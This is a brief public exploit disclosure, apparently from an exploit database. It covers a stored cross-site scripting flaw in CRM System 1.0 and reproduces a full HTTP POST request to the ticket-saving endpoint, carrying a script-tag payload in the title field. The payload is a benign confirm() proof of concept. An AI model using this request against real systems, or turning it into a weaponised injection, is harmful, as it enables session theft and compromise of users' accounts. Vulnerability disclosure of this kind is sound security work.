Customer Relationship Management (CRM) System version 1.0 suffers from a persistent cross site scripting vulnerability.
cf0d47675e4753962da5db34f3ef7c4d# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Stored XSS
# Date: 11/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4
POST /crm/classes/Master.php?f=save_ticket HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/customer/?page=ticket&view=create_ticket
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2
id=&title=%3Cscript%3Econfirm(%60Stored+XSS%60)%3C%2Fscript%3E&service_id=4&description=%3Cp%3ETest%3Cbr%3E%3C%2Fp%3E
Payload: <script>confirm(`Stored XSS`)</script>